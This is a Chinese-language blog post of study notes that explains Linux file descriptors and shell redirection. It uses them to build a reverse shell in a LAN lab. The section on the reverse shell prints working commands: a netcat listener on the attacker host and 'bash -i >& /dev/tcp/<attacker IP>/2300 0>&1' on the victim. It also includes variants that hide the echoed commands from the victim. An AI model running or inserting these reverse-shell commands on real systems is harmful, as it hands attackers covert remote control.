Shell反弹

安全领域,我是个新兵,了解下安全知识后发现,安全更需要对底层知识的透彻的理解,对底层基础知识了解的越透彻,攻防起来也更有效果。

本篇是我的一个学习笔记吧,对于Shell反弹,一直很好奇,昨天刚好遇到了,今天顺手就查询和练习以下。

一. 概念理解

1.1 什么是Shell 反弹?

在没了解Shell反弹之前,我想如果攻击者攻下了一台机器,会在上面开个服务端口,然后让控制端连过来进行一些控制操作;而shell反弹,刚好和我理解的相反,是控制端开放端口,执行一些命令,让被控制端主动连接到控制端。
反弹可以理解为被控制端 主动连接到控制端,shell这里面主要是采用类linux系统的shell脚本。
这样做的好处:

  • 有时候防火墙禁止外网连内网,所以只能内网主动去连外网。
  • 内网的IP是局域网的IP,不好指定。
  • 被控机器的活动时间不固定。

1.2 shell重定向的知识

linux系统中有一切都是文件的概念,在一个shell中,默认有三个文件描述符,即0,1,2这三个描述符分别代表shell的标准输入,标准输出,标准出错输出(其实在c的程序里面也是这样子)。
所谓文件描述符就是一个正整数,在内存里面关联具体的文件指针。
示意图是这样子的:

 

 
终端上的输入和输出

这些描述符,在终端上默认关联键盘,终端这些设备,这些设备都虚拟成了文件,当然既然文件描述符是代表文件的,那么也就可以将这些描述符代表的文件进行改变,这就是重定向。

  • 输入重定向<和<< 输出重定向>和>>
    ">>"这种只是追加,不是替换
    例子:
[aus@localhost testsh]$ echo "hello" > file
[aus@localhost testsh]$ cat <file
hello
[aus@localhost testsh]$ cat 0<file
hello
[aus@localhost testsh]$ 0<file cat
hello
[aus@localhost testsh]$ <file cat
hello
[aus@localhost testsh]$ cat
^C
[aus@localhost testsh]$ cat file
aawe2323
sfafasdf
[aus@localhost testsh]$ echo "hello" > file
[aus@localhost testsh]$ cat <file
hello
[aus@localhost testsh]$ cat 0<file
hello
[aus@localhost testsh]$ 0<file cat
hello
[aus@localhost testsh]$ <file cat
hello
[aus@localhost testsh]$ cat
^C
[aus@localhost testsh]$ echo "world" >>file
[aus@localhost testsh]$ cat file
hello
world
[aus@localhost testsh]$ >>file echo "david"
[aus@localhost testsh]$ echo file
file
[aus@localhost testsh]$ cat file
hello
world
david

标准输出被重定向后如图:

 

 
重定向
  • 标准输出和出错输出重定向 &> file 或 >& file
    例子:


     
    示例

-文件描述符复制
n < &m 或 n>&m
我理解是:
n < &m 相当于: n= m 把m文件标识符映射的文件赋值给n这个文件标识符,加个&是为了防止shell解析为文件。
n >&m 相当于: m = n 把n文件标识符映射的文件赋值给m。

 

 
仔细体会

 

注意:

mkdir 2>&1 >file
mkdir >file 2>&1

这两个区别是先复制,还是先定向,第一个先把标准输出1复制到标准出错2,然后把标准输出1重定向到文件,由于复制时候标准输出1是指向终端的,所以标准输出2也是终端。
第二个是先重定向标准输出1到文件,然后标准输出复制给标准出错,即文件赋值给标准出错输出,所以file是有内容的。

  • exec设置文件描述符
    即将一个文件描述符和具体的文件关联。
    举例:


     
    绑定描述符

    注意,这里面有点意思,绑定后,重定向标准输出竟然是追加的模式,不知道原因。

二 反弹一下

攻击者:192.168.0.107
被攻击者:192.168.0.118
先看下如何进行shell反弹,后面在解释下:
在攻击者机器上启动如下命令:

nc -lvp 2300

被攻击者机器上:

bash -i >& /dev/tcp/192.168.0.107/2300 0>&1

看图反弹成功:

 

 
shell反弹

 

这时候执行的命令都是相当于在被攻击机器上执行了,被攻击端不会有显示:

 

 
shell反弹2

解释:
1)bash -i 产生交互式的shell,可以输入命令,返回。
2)/dev/tcp/192.168.0.107/2300 这个文件是不存在的,linux会自动用这个发起socket连接。

 

 
以tcp的连接作为输入

 

3)我们想控制一台机器,那么就需要控制两个方向,第一是输入需要重定向到我们的socket连接,输出也要重定向到我们的socket。

#输出重定向可以回显
bash -i > /dev/tcp/192.168.0.107/2300 
和
#输入重定向,可以输入指令
bash -i <  /dev/tcp/192.168.0.107/2300 

结合起来:

bash -i > /dev/tcp/192.168.0.107/2300 0>&1
 
示意图

 

将socket作为输入,同时将socket作为输出。

 

 
缺陷展示

 

这个命令可以实现了控制,但是有个缺点就是命令会在被控制端显示,这个显然不合适,会被发现的。
看下改造后的命令:

bash -i > /dev/tcp/192.168.0.107/2300  0>&1 2>&1
 
成功反弹

 

步骤:

 

 
重定向步骤
bash -i >& /dev/tcp/192.168.0.107/2300 0>&1

这个第一步是标准输出1 和标准出错输出2 都重定向到socket上,然后,标准输入重定向到标准输出上即socket上。

至此结束。

posted @ 2019-11-24 14:19  XGogo  阅读(178)  评论(0)    收藏  举报